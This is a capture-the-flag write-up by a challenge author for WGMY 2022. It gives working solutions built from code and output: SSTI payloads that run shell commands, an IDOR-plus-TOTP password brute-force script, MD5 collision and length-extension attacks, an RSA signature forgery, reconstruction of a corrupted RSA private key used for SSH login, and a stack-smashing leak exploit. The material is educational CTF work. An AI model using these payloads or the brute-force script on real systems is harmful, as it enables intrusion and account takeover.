WGMY 2022 just finished today, and it was a smooth CTF! Thanks for joining the CTF, here are my challenge writeups

Challenges

Christmas Wishlist

The both challenges is actually inspired by RCTF, the challenge called file-checker, can check their writeup here

Basically both challenge got a SSTI (Server Side Template Injection) bug, because the server passes the output to the function render_template_string

Therefore we got RCE and can read the content of the flag file

For 1st challenge, we can just upload a file that contains the SSTI payload:


{{().__class__.__base__.__subclasses__()[395]('cat /flag',shell=True,stdout=-1).communicate()[0]}}

Upload the file using curl:

curl -F 'file=@solve.txt' http://wishlist.wargames.my/
# You wish for  and b'Here is your present: wgmy{72718ee56cff19d67ddf309de74d160a}'h

Christmas Wishlist 2

For 2nd challenge is abit tricky

f.save(filepath)
output = subprocess.check_output(
	["/bin/file",'-b', filepath], 
	shell=False, 
	encoding='utf-8',
	timeout=1
)
if "ASCII text" not in output:
	output=f"<p style='color:red'>Error: The file is not a text file: {output}</p>"
else:
	output="Wishlist received. Santa will check out soon!"

os.remove(filepath)
return render_template_string(output)

As you can see, the SSTI bug only possible for the output of /bin/file -b command

To exploit it, we can modify this file from the github: https://github.com/file/file/blob/master/tests/cmd3.testfile

Change the cmd3 to your payload, then you’re done!


#!/usr/bin/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}


Can test it on linux terminal:


file -b solve.testfile
# a /usr/bin/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} script executable (binary data)

Upload the file using curl command:

curl -F 'file=@solve.testfile' http://wishlist2.wargames.my/
<p style='color:red'>Error: The file is not a text file: a /usr/bin/Merry Christmas! Flag: wgmy{79fd0d773b8641b99e76eac31bdd93b1} script executable (binary data)
</p>

Most Friendly App

It is a web application, we need to login into godam account and get the flag. But the login required MFA (Multi-Factor Authentication)

Who interested for the code, source here

1st bug (IDOR)

We can get godam account’s secret key by editing the GET parameter username

curl http://mfa.wargames.my/getQR.php?username=godam
...
...
...
<img src='https://api.qrserver.com/v1/create-qr-code/?data=otpauth%3A%2F%2Ftotp%2FSKR%3Fsecret%3DRUKTVQSRTNNBWNPCBVHK7TNLW2MBUUW5XWF5HJAUUEPVZVCHIKN3PGBFPTLRJQQ3NQGFX3BKYWXO4DUNEYOT5DSL7KC7K6K5RD32PIY&size=300x300&ecc=M'><form action='getQR.php' method='POST' class='mt-2'><input type="password" name="otp" class="form-control" placeholder="OTP" required=""><input type="hidden" name="username" value="godam"><button class="btn btn-lg btn-primary btn-block mb-2" type="submit">Verify</button></form>	

After getting the secret key, we can calculate his account OTP. Because it uses TOTP once we get the shared secret, the MFA is useless

Python code to generate TOTP: https://medium.com/analytics-vidhya/understanding-totp-in-python-bbe994606087

2nd bug (Weak password & No login limit)

Next we need to brute force his password, the website has no login limit so it is easy to brute force

I uses rockyou.txt as the password wordlist and python requests to brute force it

import hmac, base64, struct, hashlib, time
import requests
import re

def get_hotp_token(secret, intervals_no):
    key = base64.b32decode(secret, True)
    #decoding our key
    msg = struct.pack(">Q", intervals_no)
    #conversions between Python values and C structs represente
    h = hmac.new(key, msg, hashlib.sha1).digest()
    o = o = h[19] & 15
    #Generate a hash using both of these. Hashing algorithm is HMAC
    h = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
    #unpacking
    return h
def get_totp_token(secret):
    #ensuring to give the same otp for 30 seconds
    x =str(get_hotp_token(secret,intervals_no=int(time.time())//30))
    #adding 0 in the beginning till OTP has 6 digits
    while len(x)!=6:
        x+='0'
    return x

# Get secret key with the IDOR bug
URL = "http://mfa.wargames.my/"
params = {
        "username":"godam"
}
r = requests.get(URL+"getQR.php",params=params)
secret = re.findall("secret\%3D(.*)\&size",r.text)[0]


# Brute force common password with generated OTP
f = open("/opt/rockyou.txt",'r')
while text := f.readline():
        params = {
                "username":"godam",
                "password":text[:-1]
        }
        s = requests.Session()
        r = s.get(URL+"login",params=params)
        data = {
                "otp":get_totp_token(secret+"=")
        }
        r = s.post(URL+"verify",data=data)
        # if found index.php means login success
        if "index.php" in r.text:
                print("Found password: "+text)
                # Find the flag in his notes
                r = s.get(URL+"notes")
                print("Found flag: "+re.findall("wgmy{.*}", r.text)[0])
                break

It took around half minutes to brute force the his password letmein, and found the flag!

time python3 solve.py
Found password: letmein

Found flag: wgmy{a3788e5d9f8fb9650aae12f12e24a0ca}

real    0m33.752s
user    0m2.290s
sys     0m0.085s

Flag

wgmy{a3788e5d9f8fb9650aae12f12e24a0ca}

Ular

This challenge is inspired by the SUSCTF’s DigitalCircuits, you can see my wirteup here

As the name suggest, this is actually a python script but converted into windows executable (.exe) file

We need to use pyinstxtractor to extract the python script with Python version 3.7

Then we can use uncompyle6 to convert ular.pyc file to python source code

# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.7.13 (default, Apr 24 2022, 01:05:22)
# [GCC 9.4.0]
# Embedded file name: ular.py


def f1(a, b):
    if a == '1':
        if b == '1':
            return '1'
    return '0'


def f2(a, b):
    if a == '0':
        if b == '0':
            return '0'
    return '1'


def f3(a):
    if a == '1':
        return '0'
    if a == '0':
        return '1'


def f4(a, b):
    return f2(f1(a, f3(b)), f1(f3(a), b))


def f5(x, y, z):
    s = f4(f4(x, y), z)
    c = f2(f1(x, y), f1(z, f2(x, y)))
    return (s, c)


def f6(a, b):
    ans = ''
    z = '0'
    a = a[::-1]
    b = b[::-1]
    for i in range(8):
        ans += f5(a[i], b[i], z)[0]
        z = f5(a[i], b[i], z)[1]

    return ans[::-1]


def f7(a, b):
    ans = ''
    for i in range(8):
        ans += f4(a[i], b[i])

    return ans


def f8(a, b):
    a = [a[i:i + 8] for i in range(0, len(a), 8)]
    b = [b[i:i + 8] for i in range(0, len(b), 8)]
    x = '00000000'
    box = [bin(i)[2:].zfill(8) for i in range(256)]
    for i in range(256):
        x = f6(f6(x, box[i]), b[(i % len(b))])
        box[i], box[int(x, 2)] = box[int(x, 2)], box[i]

    x = '00000000'
    y = '00000000'
    out = ''
    for char in a:
        x = f6(x, '00000001')
        y = f6(y, box[int(x, 2)])
        box[int(x, 2)], box[int(y, 2)] = box[int(y, 2)], box[int(x, 2)]
        out += f7(char, box[int(f6(box[int(x, 2)], box[int(y, 2)]), 2)])

    return out


k = '0011010100110001011011010111000000110001011001010101000001000000010100110010010001010111001100000111001001000100011010110011001101011001'
flag = input('Gimme the flag: ')
if flag[0:5] == 'wgmy{':
    if flag[(-1)] == '}' and len(flag) == 38:
        flag = ''.join([bin(f)[2:].zfill(8) for f in bytes(flag, encoding='utf-8')])
        if f8(flag, k) == '1011000110101100111101010110110010010001010110000000000001100110011010011110100001010001000010101111011110000110101101110001111011011011011110011011101100111000010000011000000010011010000101011110010101011100010001000110000100101000011110111100111101011110101011111110110000101001010011110101001001100010':
            print('Correct flag!')
    else:
        print('Wrong flag..')
else:
    print('Wrong flag format!')
# okay decompiling ular.pyc

It is actually an obsfuscated RC4 cipher, f1 is AND bitwise, f2 is OR bitwise etc.

# and
def f1(a, b):
	if a == '1':
		if b == '1':
			return '1'
	return '0'

# or
def f2(a, b):
	if a == '0':
		if b == '0':
			return '0'
	return '1'

# not
def f3(a):
	if a == '1':
		return '0'
	if a == '0':
		return '1'

# xor
def f4(a, b):
	return f2(f1(a, f3(b)), f1(f3(a), b))


# full adder
def f5(x, y, z):
	s = f4(f4(x, y), z)
	c = f2(f1(x, y), f1(z, f2(x, y)))
	return (s, c)

# add 8bit
def f6(a, b):
	ans = ''
	z = '0'
	a = a[::-1]
	b = b[::-1]
	for i in range(8):
		ans += f5(a[i], b[i], z)[0]
		z = f5(a[i], b[i], z)[1]

	return ans[::-1]

Since this is a RC4 cipher, meaning the encrypt way is same as decrypt way. We just need to decrypt it using the key k and pass in the function f8:

enc = "1011000110101100111101010110110010010001010110000000000001100110011010011110100001010001000010101111011110000110101101110001111011011011011110011011101100111000010000011000000010011010000101011110010101011100010001000110000100101000011110111100111101011110101011111110110000101001010011110101001001100010"
key = "0011010100110001011011010111000000110001011001010101000001000000010100110010010001010111001100000111001001000100011010110011001101011001"

print(bytes.fromhex(hex(int(f8(enc,key),2))[2:]))
# Output:
# b'wgmy{e52e6ed6345087ed01e14c643bc0429b}'

Flag

wgmy{e52e6ed6345087ed01e14c643bc0429b}

HMAC Master

Got 3 question for this challenge, we need to give two different message (A,B) that satisfy the following condition:

  1. MD5(A) == MD5(B)
  2. MD5(K||A) == MD5(K||B)
  3. MD5(A||K) == MD5(B||K)

For 1st question, we can easily solved it with example from Wikipedia

from pwn import *
import hashpumpy

p = remote("54.255.181.88",2000)
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70")
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70")

For 2nd question, we can perform length extension attack using hashpumpy library

p.sendlineafter(": ","00")
p.recvuntil(": ")
h = p.recvuntil('\n')[:-1]
hmac, B = hashpumpy.hashpump(h, bytes.fromhex("00"), "test", 8)
p.sendlineafter(": ",B.hex())
p.sendlineafter(": ",hmac)

Last question is tricky, length extension will not work but hash collision.

In the wikipedia page of MD5 stated:

MD5 uses the Merkle–Damgård construction, so if two prefixes with the same hash can be constructed, a common suffix can be added to both to make the collision more likely to be accepted as valid data by the application using it.

So if we find collisions of A and B:

\[H(A) = H(B)\]

Both concatenate K (secret key) the collision still remains

\[H(A||K) = H(B||K)\]

Meaning we can use the same example we use on the 1st question:

p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70")
p.recvuntil(": ")
h = p.recvuntil('\n')[:-1]
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70")
p.sendlineafter(": ",h)

p.interactive()
# Output: 
# Congrats HMAC master!! Here is your flag: wgmy{3ad45e4fb413c3d561ed0e6b75f5bcb5}

Flag

wgmy{3ad45e4fb413c3d561ed0e6b75f5bcb5}

E-Signature

We need to forge the signature of the message gimmetheflag, there are many ways to solve this

My way to to use the homomorphic properties in textbook RSA, for example, d is the private key and N is modulus:

\[a^d \mod N \cdot b^d \mod N\] \[=(a^d)(b^d) \mod N\] \[=(ab)^d \mod N\]

Means we can split the message into two parts, get the signature of both. We multiply both signature togther we will get the original message’s signature

from Crypto.Util.number import *
from pwn import *

# gimmetheflag = 17 · 29 · 43 · 11909 · 126770777815903492373 (Get from http://factordb.com/)
p = remote("54.255.181.88",3000)
# Get the modulus
p.sendlineafter(": ",'3')
p.recvuntil("n=")
n = int(p.recvuntil("\n")[:-1])
e = 65537
p.sendlineafter(": ",'1')
# Get the signature of 43
p.sendlineafter(": ",hex(43)[2:])
p.recvuntil(": ")
s1 = int(p.recvuntil("\n")[:-1],16)
p.sendlineafter(": ",'1')
# Get the signature of the remaining factor
p.sendlineafter(": ",hex(17*29*11909*126770777815903492373)[2:])
p.recvuntil(": ")
s2 = int(p.recvuntil("\n")[:-1],16)
# Calculate the signature and send it
result = hex((s1*s2)%n)[2:]
p.sendlineafter(": ",'2')
p.sendlineafter(": ",result)
p.interactive()
# Output:
# Signature matches! Here's your flag: wgmy{a8f09605f2c5e76cfcf9fa9c9f2ad630}

Flag

wgmy{a8f09605f2c5e76cfcf9fa9c9f2ad630}

Corrupted

We need to recover the corrupted private key, this challenge is inspired by CryptoHack Blog, where is the same concept but different method to solve it

I prepared this challenge for quite long, didn’t expect someone solved in an hour 😅

Corrupted private key:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC0hAS5rQUKGw6oaJ4+PUDJrq537SAtuINquhoZu17GeLJhMPxR
vVfYoy7SVqetqgE0ZCpxyz+DOh7fX0eLVJByoMDB4ljV4ipjP4tN+pCMOt1ZTi2x
mgzV1fnlU7cYF+s9C1SazDPAdzdVRQGxMGsKX5Y9nWqLe37Uju6x2bOOHwIDAQAB
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
???????????????????????????????Xe3iK5RisoeJtgdOXHp0+6oC+zbbyzpS4
P6z0852lAkEA5zyeIqW0dBjZW/fRP3+ZhZ6BojWU40DCQygcZXk2vcGB????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????
-----END RSA PRIVATE KEY-----

Extract values

We can start with replacing the ? to A then view it in hexadecimal form:

f = open("corrupted.pem",'r').read()[32:-30].replace('?','A').replace('\n','')
print(base64.b64decode(f).hex())

Result:

3082025c02010002818100b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f02030100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5024100e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

We can see 010001 is e (seperated by 0203), and b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f is N modulus

Then the second part of the hex is low bits of p and high bits of q, seperated by 024100

But how we recover the missing parts of p & q?

Solving

Here is my intended way to solve it

The bit length of modulus is 1024, which means the factors (p,q) are 512bits long

>>> int.from_bytes(bytes.fromhex("177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5"),byteorder ='big').bit_length()
245
>>> int.from_bytes(bytes.fromhex("e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181"),byteorder ='big').bit_length()
264

p is actually 246bits long because base64 1 character represents 6bits, q is 264bits long

Can see that we have nearly half bits of p & q, we can recover the missing part by calculate the inverse modulus. Same method I used on this writeup

For example: We know that \(N=pq\), now we add modular \(2^{246}\) (Only get the lower bits):

\[N \equiv pq \mod 2^{246}\]

To find \(q \mod 2^{246}\) (lower bits of q) we just need to multiply \(p^{-1}\) (modular inverse of p):

\[Np^{-1} \equiv q \mod 2^{246}\]

To calculate this in python is easy:

from Crypto.Util.number import *
n = int("b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f",16)
p_low = int("177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5",16)
q_high = int("e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181",16)

q_low = n * inverse(p_low, 2**246) % 2**246
print(hex(q_low))
# Output:
# 0x1d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973

We get the lower bits of q means we can combine it with the higher bits of q we found:

0xe73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc1811d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973

246bits + 264bits total 510bits so we need to brute force 2 bits at the center bits of q:

for i in range(4):
	# Combine all bits together
	q = q_high<<248 | i<<246 | q_low
	# check if q divides n
	if n%q==0:
		print(hex(q))
# Output:
# 0xe73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc1815d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973

As you can see, we have found q then we can calculate p by dividing and then generate the private key!

p = n//q
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
key = RSA.construct((n,e,d,p,q))
pem = key.export_key('PEM')
print(pem.decode())

Result:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC0hAS5rQUKGw6oaJ4+PUDJrq537SAtuINquhoZu17GeLJhMPxR
vVfYoy7SVqetqgE0ZCpxyz+DOh7fX0eLVJByoMDB4ljV4ipjP4tN+pCMOt1ZTi2x
mgzV1fnlU7cYF+s9C1SazDPAdzdVRQGxMGsKX5Y9nWqLe37Uju6x2bOOHwIDAQAB
AoGAM/nHOocc6ln8EHV/CsCsROXtCk7WcxOrkzFejoYqtc7O3bkzDX4NKy1hL+MP
iKtoiWNF7VnuQaScewh+GxoQNNUA0PjJThZjCur9dk9F3Ae8alG7JwY5zaBZMfTW
B+h1uNZzvEr93NwYIqjUVKGH1mEHFSbFIl4fBKWIRh4gZ7ECQQDH2OBbFjVgfJZ6
bjdJkQZ+Unxr419OkWq5AvkQbfMsA8iXe3iK5RisoeJtgdOXHp0+6oC+zbbyzpS4
P6z0852lAkEA5zyeIqW0dBjZW/fRP3+ZhZ6BojWU40DCQygcZXk2vcGBXZBvMcj5
HAz8h1y8VevAqI9vg+4h5nfwHUVzBWI5cwJAfYinDbB6oPxBzfATvJtjt8/6pg6y
XHkNz9+lMgPO31QVGcqOYrkb8bzSrbUCg4fQgKfvbWttQ0IuuzoMW+X3nQJBAKzK
MzCYujt2xhVfHVFhvAqI4z2e5F7caU1dj7qT1T/+dPjBkRWWo+8+FQXhWiqqPBC4
/g+LxnE9doOo/cYsG9kCQBZhltY/YstWWVraYoX84pR4MpZkEuj4thtXqTuquxB0
uzdS1ywFnwZLqH0dyJ02CWDCqONeSUDn4h9gW0MmRbM=
-----END RSA PRIVATE KEY-----

Connect to the SSH server and get the flag!

# ssh -i private.pem godam@178.128.106.114 -p 2222
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

godam-server:~$ cat flag.txt
wgmy{45132cbaf87ca64ea9236dcb7db48fa6}

Full python script

Alternative solution

Another way to solve this is to use coppersmith method, basically it can find the high bits of the factor if known the low bits of the factor

Can refer to mechfrog88 writeups

Flag

wgmy{45132cbaf87ca64ea9236dcb7db48fa6}

Flag Checker

This challenge actually was inspired by a question on 5th “QiangWang” CTF, I found it interesting so I include in this CTF

The challenge source code:

#include <stdio.h>
#include <string.h>
char flag[64];

int main(void)
{
	FILE* f = fopen("flag.txt","r");
	fgets(flag,64,f);
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);

	char input[64];
	puts("Flag Checker");
	puts("------------");
	printf("Enter flag: ");
	scanf("%s",input);
	if(strcmp(flag,input)==0){
		puts("Correct flag!");
	}else{
		puts("Wrong flag!");
	}
	return 0;
}

As you can see, is a buffer overflow challenge, but I compiled it with only -no-pie flag:

gcc flag_checker.c -o bin/flag_checker -no-pie

Which means the binary got SSP (Stack Smash Protector) enabled, also the main point of the challenge

We can leak the flag by overflowing the program name on the stack, because when we smash the stack the it will print *** stack smashing detected ***: ./flag_checker terminated

root@b35b3ac6306c:/home/ctf# ./flag_checker
Flag Checker
------------
Enter flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong flag!
*** stack smashing detected ***: ./flag_checker terminated
Aborted

We can overflow the program name address to the flag address, because is a global variable and no PIE the address was static

We can just spam the flag address:

from pwn import *
elf = ELF("bin/flag_checker")
p = remote("178.128.106.114",1337)
p.sendlineafter(": ",p64(elf.symbols['flag'])*40)
p.interactive()

Result:

[*] Switching to interactive mode
Wrong flag!
*** stack smashing detected ***: wgmy{a6e08efe07d7a105a3437613c8d24320}
 terminated
[*] Got EOF while reading in interactive

Note: The exploit only works in the docker container, probably only works on older version of libc

More information about the SSP leak vulnebility (In chinese): https://zhuanlan.zhihu.com/p/84050456

Flag

wgmy{a6e08efe07d7a105a3437613c8d24320}

Core

This challenge we are given the chall ELF binary and core the coredump

The challenge to find the password from the coredump and then decrypt the encrypted flag

Challenge source code:

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char const *argv[])
{
	FILE *stream;
	unsigned char password[16];
	unsigned char flag[40];
	
    stream = fopen("./pass","r");
    if(!stream){
    	fprintf( stderr, "Missing password file!\n" );
    	return 1;
    }
    fread(password,16,1,stream);
	
	printf("Enter flag: ");
	fflush(stdout);
	read(0,flag,40);

	printf("Encrypted flag: ");
	for (int i = 0; i < 40; ++i)
	{
		flag[i] ^= password[i%16];
		printf("%c",flag[i]);
		if(i!=39) flag[i+1] ^= flag[i];
	}

	memset(password,0,16);
	if (argc == 2 && strcmp(argv[1],"DEBUG")==0)
	{
		raise(SIGABRT);
	}
	return 0;
}

Find encrypted flag

First, you need to find the encrypted flag. You can run gdb ./chall ./core, then stack 60 to view the stack.

Note: I’m using pwndbg plugin for GDB

Can see the encrypted flag at the address 0x7ffc1d759a60 to 0x0x7ffc1d759a88:

core

Or can view the coredump with hexeditor, and search for the string Encrypted flag. Can see the encrypted flag is next to it:

core2

Find the password

The password is filled with NULL with memset, how do we find the password?

The FILE pointer created at the heap, and didn’t call fclose so the password is still at the heap!

We know the flag format is wgmy{, therefore we can reverse the algorithm and find the first 5 characters of the password!

Is easy to reverse because only XOR, implemented in python script:

enc = bytes.fromhex("B99E9A7EBBD764933AA2BF98F2F0485AA0D38C73F5CE29D823E7F285BBB0524BBDC5CD34B89C41D4")
flag=b"wgmy{"
result=bytearray(5)
for i in range(5):
    if i ==0:
        result[i] = flag[i]^enc[i]
    else:
        result[i] = flag[i]^enc[i]^enc[i-1]
print(result.hex())
# ce40699dbe

Next we can use the search -x ce40699dbe command in GDB to find the password:

core3

Or we can search in hexeditor

core4

Solving

Now we found the password, then we can decrypt easily with python script!

enc = bytes.fromhex("B99E9A7EBBD764933AA2BF98F2F0485AA0D38C73F5CE29D823E7F285BBB0524BBDC5CD34B89C41D4")
key = bytes.fromhex("CE40699DBE59D79598A12D140F338120")
flag = bytearray(40)
for i in range(40):
    if i == 0:
        flag[i] = key[i%16]^enc[i]
    else:
        flag[i] = key[i%16]^enc[i]^enc[i-1]
print(flag)
# bytearray(b'wgmy{5db1903e192436b8b0dce8c18c988ad2}\n\x00')

Flag

wgmy{5db1903e192436b8b0dce8c18c988ad2}